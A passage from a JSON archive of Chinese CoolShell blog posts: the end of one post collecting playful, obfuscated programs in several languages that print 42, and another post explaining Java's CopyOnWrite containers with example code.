    "content": "---\nlayout: post\ntitle: 如何用最有创造力的方式输出42\ndate: 2014/3/6/ 14:42:42\nupdated: 2014/3/6/ 14:42:42\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/03/42-300x240.jpg)酷壳似乎好长时间没有像《[编程真难啊](https://coolshell.cn/articles/1391.html \"编程真难啊 - 80,069 人阅读\")》或是《[老手是这样教新手编程的](https://coolshell.cn/articles/2420.html \"老手是这样教新手编程的\")》或是像《[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html \"如何写出无法维护的代码\")》这样“严肃正经”的文章了，所以，赶在大家还没有向我扔臭鸡蛋前奉献一篇。这篇文章来自CodeGolf.StackExchange上的《[Most creative way to display 42](http://codegolf.stackexchange.com/questions/21835/most-creative-way-to-display-42)》—— 请以最有创造力的方式输出42。于是出现了下面的这些答案（注：精彩的总是留在最后面）\n\n\n#### 人生和宇宙终级问题的答案：42\n\n\n这里，需要介绍一下为什么要输出42。这时因为42是我们人生，世界乃至整个宇宙的终级答案。这要从《银河系漫游指南》（英文名：The Hitchhiker’s Guide to the Galaxy）说起。这本书是著名英国科幻小说作家Douglas  Adams所著5本银河系漫游指南系列科幻喜剧系列小说中的第一本，改编自他本人为英国广播公司第四电台（BBC Radio 4）所写的广播剧剧本。该书1979年10月12日首次由麦克米伦出版公司（Pan Books）出版，次周成为英国图书销量榜冠军，前3个月内销售超过25万本。截至2005年，这本小说已被翻译成超过30种语言在全世界发行，并且被改编为电视剧、电影、舞台剧等多种艺术形式的作品。\n\n\n这本小说中小说中充满尖锐的讽刺和隐喻，被西方科幻爱好者奉为“科幻圣经”。其中有两个关键词，一个是Don’t Panic，一个是42影响力很大，而其中关于42的故事简介是这样的：\n\n\n百万年前，老鼠其实是一种超智慧生物，它们建造了一部超级电脑深思Deep Thought，它们问超级电脑，生命、宇宙以及任何事情的终极答案（*Answer to Life, the Universe, and Everything*）什么，经过了750万年的计算，深思告诉老鼠的后人答案是**42**，深思解释它只能计算出答案是什么，但答案的原因必须由另一部更高智能的电脑才能解释，而该部电脑就是地球。经过了800万年，就在结果要出来的五分钟前，地球却因为挡在预定兴建的星际间高速公路的路线，被Vogons给毁灭，电脑没有给出最后的结果。\n\n\n\n故事里面还说了这个42是6 乘于 9得来。当然，6乘9应该是54，但是因为地球上的电脑被搞坏了，导致主人翁答错了。至于后来有人说6 x 9 = 42是基于13进制，原作者说，完全没有这回事，他就是瞎搞的。\n\n\n网上有很多人在猜测42的含义，比如[douban的这篇文章](http://www.douban.com/note/232036705/)，但是原作者出来说这他就是随机想了一个，完全没有任何意义。\n\n\n对于42来说，数字42和短语，“生命，宇宙以及一切的答案”（*Answer to Life, the Universe, and Everything*） 已达到在互联网上邪教的地位。在各种技术宅，极客，科学圈有着非同凡响的地位。\n\n\n* 您若在Google输入[the answer to life, the universe, and everything](http://www.google.com/search?q=the+answer+to+life%2C+the+universe%2C+and+everything)，Google会直接回答42——而且还是用Google计算器算出来的。\n* 若在[Wolfram Alpha](http://zh.wikipedia.org/wiki/Wolfram_Alpha \"Wolfram Alpha\")中输入[Answer to the Ultimate Question of Life, the Universe, and Everything](http://www.wolframalpha.com/input/?i=Answer+to+the+Ultimate+Question+of+Life%2C+the+Universe%2C+and+Everything)，Wolfram Alpha也会回答42\n* 若在iPhone/iPad的Siri中问[What’s the meaning of life?]，Siri也会回答42\n* 在[OpenOffice.org](http://en.wikipedia.org/wiki/OpenOffice.org \"OpenOffice.org\")软件，如果您在任何单元格输入spreadsheet=ANTWORT(“Das Leben, das Universum und der ganze Rest”) (注：德语的ANSWER(“life, the universe and everything”))，结果也会是42。\n\n\n另外，在美剧《Lost》里那个经典的数字序列： 4, 8, 15, 16, 23,42。经Lost的导演确认，最后那个42也是源自《银河系漫游指南》\n\n\n好了，言归正传，下面让我们来看一下如何输出42的。\n\n\n#### Ruby\n\n\nputs (6 \\* 9).to\\_s(13)[/h4]\n\n\n解释：6 x 9 = 42的表达式（基于13进制）\n\n\n#### Javascript\n\n\n[javascript]String.prototype.answer = function() {  \n\n alert(this.charCodeAt(+!\"The End of the Universe\"));  \n\n};  \n\n‘\\*’.answer();[/javascript]\n\n\n解释：+!”The End of the Universe”的值是0，’\\*’的ASCII码是42\n\n\n[javascript]console.log(\"Douglas Adams\".length + \"born on\".length +  \n\n [1,1,0,3,1,9,5,2].reduce(  \n\n function(previousValue, currentValue, index, array){  \n\n return previousValue + currentValue;  \n\n }  \n\n )  \n\n);\n\n\n /\\* [1,1,0,3,1,9,5,2] => March 11, 1952 \\*/[/javascript]\n\n\n解释：Douglas Adams 是一位英国广播剧作家、和音乐家，尤其以《银河系漫游指南》系列作品出名。这部作品以广播剧起家，后来发展成包括五本书的“三部曲”，拍成电视连续剧。亚当斯逝世后还拍成电影。 除《银河系漫游指南》系列外亚当斯还参加了科幻电视连续剧《神秘博士》的拍摄工作，他写了其中的一些剧本。也的生日是 1952 年 3 月 11 日。\n\n\n[javascript]alert((!![]+ -~[])\\*(!![]+ -~[])+\"\"+(!![]+ -~[]))[/javascript]\n\n\n解释：[]是个空，![]就是true，~[]是-1, 于是，表达式就这样出来了。变态！\n\n\n[javascript]var \\_\\_\\_\\_\\_\\_\\_\\_ = 0.023809523809523808, \\_\\_\\_\\_ = 1, \\_\\_\\_ = 0, \\_\\_ = 0, \\_ = 1;\n\n\n \\_\\_ – \\_\\_\\_  \n\n /\\_ |0 // \\\\  \n\n /\\_/ 0 // \\\\  \n\n /\\_/\\_ |0 //  \n\n /\\_/\\_ |0 //  \n\n /\\_/\\_\\_\\_\\_ |\\_ //  \n\n/\\_\\_\\_\\_\\_\\_\\_\\_|0 //  \n\n |0 //\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_[/javascript]\n\n\n解释：这个其实是代码混乱的技巧之一，用下划线当变量。你可以参考《[如何加密/混乱C源代码](https://coolshell.cn/articles/933.html)》和《[6个变态的C语言Hello World程序](https://coolshell.cn/articles/914.html)》\n\n\n#### Shell\n\n\n`echo \"what is the universe\"|tr \"a-z \" 0-7-0-729|sed 's/9.//g;s/-/+/'|bc`\n\n\n解释：其中，bc是一个计算器。tr是一个字符转换的命令，比如：`echo \"good\" | tr \"good\" \"test\"`输出 `tsst`。也就是说，g-t, o-e, o-s, d-t的映射，o被映了两次，所以，第二次会覆盖第一次。对于上面的`tr \"a-z \" 0-7-0-7-729`的意思是：abcdefg分别对应01234567，h对应-，ijklmno对应01234567，p对于2，剩下的包括空格都是9。如果你对tr和sed和bc不熟悉的话，可以man一下，关于sed你可以看一下我的《[sed简明教程](https://coolshell.cn/articles/9104.html)》\n\n\n\n```\n#!/bin/bash\n\n#Vertical Version\necho $((2#100))\necho $((2#10))\n\n#Horizontal Version\necho $((2#000100))$((2#00010))\n```\n\n解释：2#100的意思就是说，#左边的数说明是“2进制”，右边的数是二进制数“100”，如16#ff就是16进制的ff，也就是十进制的255\n\n\n`echo \"obase=13;6*9\"|bc|figlet`\n\n\n上面的命令输出：\n\n\n\n```\n\n _  _  ____\n| || ||___ \\\n| || |_ __) |\n|__   _/ __/\n   |_||_____|\n```\n\n解释：为了使用figlet命令，你还要去安装一个figlet（<http://www.figlet.org/>）这是一个让你画ASCII图的命令。\n\n\n#### Python\n\n\nWindows下，给你画个图：\n\n\n\n\n```\nimport win32api, win32con, win32gui\nfrom time import time, sleep\nimport os\n\nw = { 1:[(358, 263), (358, 262), (358, 261), (359, 261), (359, 262), (359, 264), (359, 266), (359, 270), (359, 282),\n     (358, 289), (357, 308), (356, 319), (355, 341), (355, 351), (355, 360), (355, 378), (355, 388), (354, 397),\n     (354, 406), (354, 422), (354, 428), (354, 436), (354, 438), (354, 439), (354, 440), (355, 440), (356, 439),\n     (357, 439), (358, 438), (360, 438), (362, 437), (369, 437), (372, 437), (381, 437), (386, 437), (391, 437),\n     (397, 436), (411, 436), (419, 435), (434, 435), (442, 435), (449, 434), (456, 434), (468, 434), (473, 435),\n     (480, 436), (483, 436), (485, 436), (487, 437), (488, 437), (488, 438), (488, 439), (487, 440), (486, 440),\n     (485, 440), (484, 440), (483, 439), (483, 437), (481, 431), (481, 427), (481, 420), (481, 413), (483, 396),\n     (485, 387), (488, 367), (491, 356), (493, 345), (500, 321), (503, 310), (507, 299), (514, 280), (517, 272),\n     (520, 266), (523, 260), (524, 258), (524, 259), (524, 261), (524, 265), (524, 269), (523, 275), (522, 289),\n     (521, 297), (518, 315), (516, 324), (515, 334), (513, 345), (509, 368), (507, 382), (502, 411), (500, 426),\n     (498, 440), (495, 453), (491, 478), (489, 491), (485, 517), (483, 530), (481, 542), (479, 552), (476, 570),\n     (475, 577), (474, 588), (473, 592), (473, 595), (473, 597), (473, 600), (473, 601), (473, 602), (473, 601),\n     (474, 599), (475, 597), (476, 594), (478, 587)],\n  2:[(632, 305), (634, 306), (636, 309), (639, 314), (641, 319), (645, 330), (647, 337), (649, 353), (649, 362),\n     (649, 372), (649, 384), (645, 409), (639, 436), (636, 448), (632, 459), (627, 470), (623, 479), (613, 497),\n     (608, 503), (599, 512), (595, 514), (591, 514), (587, 513), (581, 504), (578, 498), (576, 483), (575, 476),\n     (575, 469), (579, 454), (582, 447), (591, 436), (595, 432), (600, 430), (605, 429), (617, 432), (624, 437),\n     (639, 448), (646, 455), (654, 461), (662, 469), (679, 484), (686, 491), (702, 504), (710, 509), (718, 512),\n     (727, 514), (744, 515), (752, 515), (767, 512), (774, 510), (779, 508), (783, 505), (788, 499), (789, 495),\n     (789, 486)] }\n\ndef d( x1, y1, x2, y2 ):\n    win32api.SetCursorPos((x1, y1))\n    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)\n    win32api.SetCursorPos((x2, y2))\n    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)\n    sleep(0.01)\n\ndef p( l1 ):\n    l2 = [\"\"]\n    l2.extend(l1)\n    l1.append(\"\")\n    l3 = zip(l2, l1)\n    l3.pop(0)\n    l3.pop(-1)\n    for n in l3:\n        d(n[0][0], n[0][1], n[1][0], n[1][2])\n\nos.startfile(\"C:\\Windows\\system32\\mspaint.exe\")\nsleep(0.5)\nwin32gui.ShowWindow(win32gui.GetForegroundWindow(), win32con.SW_MAXIMIZE)\nsleep(0.5)\n\nfor n in w:\n    p(w[n])\n```\n\n\n输出：![](../wp-content/uploads/2014/03/1j0va.png)\n\n\nlambda表达式 \n\n\n`>>> p = lambda x: x%2!=0 and True<>> sum(p(i) for i in range(0,6))`\n\n\n解释：对python的lambda表达式或函数式编程不是很清楚的同学可以看一下《[函数式编程](https://coolshell.cn/articles/10822.html)》\n\n\n#### Java\n\n\n\n```\nimport java.lang.*;\nclass answer_to_everything \n{\n    void static main() \n    {\n        String s = \"Hitchhiker's Guide to the Galaxy\";\n        String s2 = \"Don'tPanic\";\n        String s3 = \"The Restaurant at the End of the Universe.\";\n\n        int arthur_dent = s.length();\n        int ford_prefect = s2.length();\n        int zooey_deschanel = s3.length();\n        int vogon_poetry = arthur_dent + ford_prefect;\n\n        System.out.println(\"         \" + vogon_poetry + \"       \" + zooey_deschanel + \" \" + zooey_deschanel); //in case you're confused, I'm using Zooey to print the big '2', and Vogons to print the big '4'.\n        System.out.println(\"       \" + vogon_poetry + vogon_poetry + \"     \" + zooey_deschanel + \"     \" + zooey_deschanel);\n        System.out.println(\"     \" + vogon_poetry + \"  \" + vogon_poetry + \"    \" + zooey_deschanel + \"       \" + zooey_deschanel);\n        System.out.println(\"   \" + vogon_poetry + \"    \" + vogon_poetry + \"            \" + zooey_deschanel);\n        System.out.println(\" \" + vogon_poetry + \"      \" + vogon_poetry + \"          \" + zooey_deschanel);\n        System.out.println(vogon_poetry + \" \" + vogon_poetry + \" \" + vogon_poetry + \" DA \" + vogon_poetry + \"     \" + zooey_deschanel);\n        System.out.println(\"         \" + vogon_poetry + \"     \" + zooey_deschanel);\n        System.out.println(\"         \" + vogon_poetry + \"    \" + zooey_deschanel + \" \" + zooey_deschanel + \" \" + zooey_deschanel + \" \" + zooey_deschanel);\n    }\n}\n```\n\n上面这段看上去平淡无奇，但其亮点是那三个string，这段代码输出：\n\n\n\n```\n\n         42       42 42\n       4242     42     42\n     42  42    42       42\n   42    42            42\n 42      42          42\n42 42 42 DA 42     42\n         42     42\n         42    42 42 42 42\n```\n\n别忘了Java也可以混乱代码：\n\n\n\n```\n\npublic        class         FourtyTwo{ public\nstatic         void         main(String[]args)\n{  new        javax                    .swing.\nJFrame        () {{                    setSize\n(42 /(        42/42                    +42/42)\n*42/ (        42/42                    +42/42)\n,42/(42/ 42+42/42)*         42/(42/42+42/42));\n}public void paint(         java.awt .Graphics\n  g){g.drawPolygon(         new int[]{42,42,42\n              + 42+         42,42+\n              42+42         ,42+42\n              +42 +         42,42+\n              42+42         +42,42\n              + 42+         42,42+42+42,42+42,\n              42+42         },new int[]{42,42+\n              42+42         +42,42+42+42+42,42\n\n+42+42+42+42+42,                  42+42+\n42+42+42+42,42,42,               42+42+42\n,42 +        42+42              ,42}, (42/\n42+42        /42)*              (42/  42 +\n42/42        + 42/             42 +    42 /\n42+42        /42))            ;g.drawPolygon\n( new        int[]           {42+42+42+42+42,\n42+42        +42 +           42+42      , 42+\n42+42        + 42+          42+42        + 42,\n42+42        +42 +          42+42        +42 +\n42,42+42+42+42+42,         42+42          + 42+\n42+42,42+ 42+42+           42+42          +42 +\n\n42+42,42+42+42+42+42+42+42+42,42+42+42+42+42+42,\n42+42+42+42+42+42,42+42+42+42+42+42+42+42,42+42+\n42+42+42+42+42+42},new int[]{42,42 +42,42+42,42+\n42+42,42+42+42,42+42+42+42+42+42,42+42+42+42+42+\n42,42+42+42+42+42,42+42+42+42+42,42+42+42+42,42+\n42+42+42,42},(42/42+42/42+42/42)*((42/42+42/42)*\n(42/42+42/ 42)));};}.setVisible(42*42*42!=42);}}\n```\n\n#### C/C++\n\n\n\n```\n#include\nint main()\n{\n    printf(\"%d\", fprintf( fopen(\"/dev/null\",\"w\"),\n       \"so-popularity-contest\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\") );\n}\n\n```\n\n解释：\\b是backspace，fprintf的返回值是写成功数据的长度。\n\n\n\n\n```\n#include<iostream>\nusing namespace std;\nint main()\n{\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)66<<(char)73<<(char)82;\n    cout<<(char)84<<(char)72<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)68<<(char)69;\n    cout<<(char)65<<(char)84<<(char)72;\n    cout<<(char)32<<(char)32<<'\\n';\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<(char)95;\n    cout<<(char)95<<(char)95<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)95<<(char)95;\n    cout<<(char)95<<(char)95<<(char)95;\n    cout<<(char)95<<(char)32<<'\\n';\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)47<<(char)32;\n    cout<<(char)32<<(char)32<<(char)124;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)124<<(char)32<<(char)32;\n    cout<<(char)95<<(char)95<<(char)32;\n    cout<<(char)32<<(char)124<<'\\n';\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)47<<(char)32<<(char)47;\n    cout<<(char)124<<(char)32<<(char)124;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)124<<(char)95<<(char)124;\n    cout<<(char)32<<(char)32<<(char)124;\n    cout<<(char)32<<(char)124<<'\\n';\n    cout<<(char)32<<(char)32<<(char)47;\n    cout<<(char)32<<(char)47<<(char)32;\n    cout<<(char)124<<(char)49<<(char)124;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<(char)47;\n    cout<<(char)50<<(char)124<<'\\n';\n    cout<<(char)32<<(char)47<<(char)32;\n    cout<<(char)47<<(char)32<<(char)32;\n    cout<<(char)124<<(char)57<<(char)124;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)84<<(char)79<<(char)32;\n    cout<<(char)32<<(char)47<<(char)48;\n    cout<<(char)47<<(char)32<<'\\n';\n    cout<<(char)47<<(char)32<<(char)47;\n    cout<<(char)95<<(char)95<<(char)95;\n    cout<<(char)124<<(char)53<<(char)124;\n    cout<<(char)95<<(char)95<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)47<<(char)48<<(char)47;\n    cout<<(char)32<<(char)32<<'\\n';\n    cout<<(char)124<<(char)95<<(char)95;\n    cout<<(char)95<<(char)95<<(char)95;\n    cout<<(char)124<<(char)50<<(char)124;\n    cout<<(char)95<<(char)95<<(char)124;\n    cout<<(char)32<<(char)32<<(char)47;\n    cout<<(char)49<<(char)47<<(char)32;\n    cout<<(char)32<<(char)32<<'\\n';\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)124<<(char)32<<(char)124;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)47<<(char)32;\n    cout<<(char)47<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<'\\n';\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)124<<(char)32<<(char)124;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)47<<(char)32<<(char)47;\n    cout<<(char)95<<(char)95<<(char)95;\n    cout<<(char)95<<(char)32<<'\\n';\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)32<<(char)32<<(char)32;\n    cout<<(char)124<<(char)95<<(char)124;\n    cout<<(char)32<<(char)32<<(char)124;\n    cout<<(char)95<<(char)95<<(char)95;\n    cout<<(char)95<<(char)95<<(char)95;\n    cout<<(char)95<<(char)124<<'\\n';\n    return 0;\n}  \n```\n\n\n输出：\n\n\n![](../wp-content/uploads/2014/03/42.png)\n\n\n\n```\n#include <stdio.h>\n\n#define six  1+5\n#define nine 8+1\n\nint main()\n{\n    printf(\"what do you get when you multiply six by nine?\\n\");\n    printf(\"%i x %i = %i\\n\", six, nine, six*nine);\n}\n```\n\n解释：6 x 9 = 42 ???，如果你知道宏只是做简单的字符串替换的话，你就知道six\\*nine被替换成了1+5\\*8+1这个表达式了。呵呵。\n\n\n\n```\n\n        main(c     ,z,_){c==01?\n       main(c+     1,0,c^c):c==2\n      ?z=_[\"#\"     \"#$#%&#%#x'%%\"\n     \"()&(%%x\"             \"$%$(\"\n    \"(&(\"\"*%x\"             \"'%%(\"\n   \"(&(\" \"+%x\"             \"'#%(\"\n  \"(&(\"  \"%#x\"             ],z ?z\n =='x'?main(4,_     ,c*5):main(c\n +1,z,0),main(c    ,z,_+1):00:c\n ==3?(_+-2)==3?    main(_-1,_,\n         32):(     main(\n         c+1,c     ,((2+\n         c)*(z     -35)+\n         _)[\"\"     \"six\"\n         \"*ni\"     \"ne= {   }   \"\n         \"  ;\"     \"      _   ( \"\n         \") [\"     \" 3 ]do {;\"]==\n         32?32     :043),main(c,z\n         ,_+1)     ):putchar(_);}\n```\n\n解释：参看[原文的这个答案](http://codegolf.stackexchange.com/questions/21835/most-creative-way-to-display-42/21950#21950)里的How-To一节。\n\n\n#### Brainfuck\n\n\n代码混乱自然少不了brainfuck语言：（更多的奇葩的编程语言请参考《[那些BT雷人的编程语言](https://coolshell.cn/articles/4458.html)》）\n\n\n\n```\n \n         +++++          +++[>+>++>\n        +++>++        ++>+++++>+++++\n       +>+++++       ++>+        ++++\n      +++ >+++       ++++        ++>+\n     +++  ++++                   ++>+\n    +++   ++++                  +++>\n   +++    ++++                 ++++\n  +>+     ++++               ++++\n +++      +>++             ++++\n++++++++>+++++++++       ++++\n++>+++++++++++++++     +<<<\n          <<<<        <<<<\n          <<<<       <-]>\n          >>>>       >>----.++++<<<<<\n          <\n```\n>       >>>>++.--<<<<<<.\n```\n\n不过，下面这个BrainFuck更无聊，所以顶在了最佳答案上：\n\n\n\n```\n\n           +++++[>++[>+>+        ++>++++>++++>++++>++++++\n          >++++++>+++++++        ++>+++++++++<<<<<<<<<-]>>\n         >+>+>+> >>>+[<]<        -]>>       >++>-->>+>>++>+\n        >--<<<<  <<<.....         .>            ....<......\n       ...>...   <<.>....                       >.>>>>>.<.\n       <<<<..     ..<....                      >..>>>>>.<\n      .<<<<.      >>>.<<.                     >>>>>.<.<\n      <<<<<       <.>...>                    >>>.>>>.\n     <<<.<        <<<..>>                  .>>>>>.<\n    <.<<<         <<...>>                 >>>.<<<\n   <..<.          ...>...               <<.>..>.\n   >>.<.<<...>>...<<...>>...<         <....>>..\n  .<<<.>.>>..>.<<.......<....        .....>...\n                 <<.>...            .....>...\n                 <......           .>>>.<<..\n                 <<.>...          .....>...<......>.>>.<.<<<\n                 .>......        ..>>...<<....>>.....>.<..>.\n\n```\n\n执行上面的代码，你会得到下面的输出：\n\n\n\n```\n\n      ++++         +++\n    +[>++++    ++[>+<-][\n   <]<  -]>   >++    +++\n  +.-   ---   ---    ---\n --.+++++++         +++\n        +++       .++\n        +++      +.-\n        ---    -----.--.\n```\n\n再执行上面的代码，会输出：\n\n\n\n```\n6*7=42\n```\n\n如果6\\*9=42就完美了，就差一步啊……\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 - CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n\n### 相关文章\n\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![开发团队的效率](../wp-content/uploads/2014/06/software_development-150x150.png)](https://coolshell.cn/articles/11656.html)[开发团队的效率](https://coolshell.cn/articles/11656.html)\n* [![Bret Victor – Learnable Programming](../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg)](https://coolshell.cn/articles/8387.html)[Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\nThe post [如何用最有创造力的方式输出42](https://coolshell.cn/articles/11170.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n```\n"
  },
  {
    "path": "blogs/rss2html2markdown/2014-3-7 Java中的CopyOnWrite容器.md",
    "content": "---\nlayout: post\ntitle: Java中的CopyOnWrite容器\ndate: 2014/3/7/ 0:26:31\nupdated: 2014/3/7/ 0:26:31\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/03/cow-copy-300x222.jpg)**感谢 [清英](http://ifeve.com) 同学的投稿**\n\n\nCopy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是，从一开始大家都在共享同一个内容，当某个人想要修改这个内容的时候，才会真正把内容Copy出去形成一个新的内容然后再改，这是一种延时懒惰策略。从JDK1.5开始Java并发包里提供了两个使用CopyOnWrite机制实现的并发容器,它们是CopyOnWriteArrayList和CopyOnWriteArraySet。CopyOnWrite容器非常有用，可以在非常多的并发场景中使用到。\n\n\n#### 什么是CopyOnWrite容器\n\n\nCopyOnWrite容器即写时复制的容器。通俗的理解是当我们往一个容器添加元素的时候，不直接往当前容器添加，而是先将当前容器进行Copy，复制出一个新的容器，然后新的容器里添加元素，添加完元素之后，再将原容器的引用指向新的容器。这样做的好处是我们可以对CopyOnWrite容器进行并发的读，而不需要加锁，因为当前容器不会添加任何元素。所以CopyOnWrite容器也是一种读写分离的思想，读和写不同的容器。\n\n\n\n#### CopyOnWriteArrayList的实现原理\n\n\n在使用CopyOnWriteArrayList之前，我们先阅读其源码了解下它是如何实现的。以下代码是向ArrayList里添加元素，可以发现在添加的时候是需要加锁的，否则多线程写的时候会Copy出N个副本出来。\n\n\n\n```\n\npublic boolean add(T e) {\n    final ReentrantLock lock = this.lock;\n    lock.lock();\n    try {\n\n        Object[] elements = getArray();\n\n        int len = elements.length;\n        // 复制出新数组\n\n        Object[] newElements = Arrays.copyOf(elements, len + 1);\n        // 把新元素添加到新数组里\n\n        newElements[len] = e;\n        // 把原数组引用指向新数组\n\n        setArray(newElements);\n\n        return true;\n\n    } finally {\n\n        lock.unlock();\n\n    }\n\n}\n\nfinal void setArray(Object[] a) {\n    array = a;\n}\n\n```\n\n读的时候不需要加锁，如果读的时候有多个线程正在向ArrayList添加数据，读还是会读到旧的数据，因为写的时候不会锁住旧的ArrayList。\n\n\n\n```\n\npublic E get(int index) {\n    return get(getArray(), index);\n}\n\n```\n\nJDK中并没有提供CopyOnWriteMap，我们可以参考CopyOnWriteArrayList来实现一个，基本代码如下：\n\n\n\n```\n\n\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class CopyOnWriteMap<K, V> implements Map<K, V>, Cloneable {\n    private volatile Map<K, V> internalMap;\n\n    public CopyOnWriteMap() {\n        internalMap = new HashMap<K, V>();\n    }\n\n    public V put(K key, V value) {\n\n        synchronized (this) {\n            Map<K, V> newMap = new HashMap<K, V>(internalMap);\n            V val = newMap.put(key, value);\n            internalMap = newMap;\n            return val;\n        }\n    }\n\n    public V get(Object key) {\n        return internalMap.get(key);\n    }\n\n    public void putAll(Map<? extends K, ? extends V> newData) {\n        synchronized (this) {\n            Map<K, V> newMap = new HashMap<K, V>(internalMap);\n            newMap.putAll(newData);\n            internalMap = newMap;\n        }\n    }\n}\n\n```\n\n实现很简单，只要了解了CopyOnWrite机制，我们可以实现各种CopyOnWrite容器，并且在不同的应用场景中使用。\n\n\n#### CopyOnWrite的应用场景\n\n\nCopyOnWrite并发容器用于读多写少的并发场景。比如白名单，黑名单，商品类目的访问和更新场景，假如我们有一个搜索网站，用户在这个网站的搜索框中，输入关键字搜索内容，但是某些关键字不允许被搜索。这些不能被搜索的关键字会被放在一个黑名单当中，黑名单每天晚上更新一次。当用户搜索时，会检查当前关键字在不在黑名单当中，如果在，则提示不能搜索。实现代码如下：\n\n\n\n```\n\npackage com.ifeve.book;\n\nimport java.util.Map;\n\nimport com.ifeve.book.forkjoin.CopyOnWriteMap;\n\n/**\n * 黑名单服务\n *\n * @author fangtengfei\n *\n */\npublic class BlackListServiceImpl {\n\n    private static CopyOnWriteMap<String, Boolean> blackListMap = new CopyOnWriteMap<String, Boolean>(\n            1000);\n\n    public static boolean isBlackList(String id) {\n        return blackListMap.get(id) == null ? false : true;\n    }\n\n    public static void addBlackList(String id) {\n        blackListMap.put(id, Boolean.TRUE);\n    }\n\n    /**\n     * 批量添加黑名单\n     *\n     * @param ids\n     */\n    public static void addBlackList(Map<String,Boolean> ids) {\n        blackListMap.putAll(ids);\n    }\n\n}\n\n```\n\n代码很简单，但是使用CopyOnWriteMap需要注意两件事情：\n\n\n1. 减少扩容开销。根据实际需要，初始化CopyOnWriteMap的大小，避免写时CopyOnWriteMap扩容的开销。\n\n\n2. 使用批量添加。因为每次添加，容器每次都会进行复制，所以减少添加次数，可以减少容器的复制次数。如使用上面代码里的addBlackList方法。\n\n\n#### CopyOnWrite的缺点\n\n\nCopyOnWrite容器有很多优点，但是同时也存在两个问题，即内存占用问题和数据一致性问题。所以在开发的时候需要注意一下。\n\n\n**内存占用问题**。因为CopyOnWrite的写时复制机制，所以在进行写操作的时候，内存里会同时驻扎两个对象的内存，旧的对象和新写入的对象（注意:在复制的时候只是复制容器里的引用，只是在写的时候会创建新对象添加到新容器里，而旧容器的对象还在使用，所以有两份对象内存）。如果这些对象占用的内存比较大，比如说200M左右，那么再写入100M数据进去，内存就会占用300M，那么这个时候很有可能造成频繁的Yong GC和Full GC。之前我们系统中使用了一个服务由于每晚使用CopyOnWrite机制更新大对象，造成了每晚15秒的Full GC，应用响应时间也随之变长。\n\n\n针对内存占用问题，可以通过压缩容器中的元素的方法来减少大对象的内存消耗，比如，如果元素全是10进制的数字，可以考虑把它压缩成36进制或64进制。或者不使用CopyOnWrite容器，而使用其他的并发容器，如[ConcurrentHashMap](http://ifeve.com/concurrenthashmap/)。\n\n\n**数据一致性问题**。CopyOnWrite容器只能保证数据的最终一致性，不能保证数据的实时一致性。所以如果你希望写入的的数据，马上能读到，请不要使用CopyOnWrite容器。\n\n\n关于C++的STL中，曾经也有过Copy-On-Write的玩法，参见陈皓的《[C++ STL String类中的Copy-On-Write](http://blog.csdn.net/haoel/article/details/24058)》，后来，因为有很多线程安全上的事，就被去掉了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* 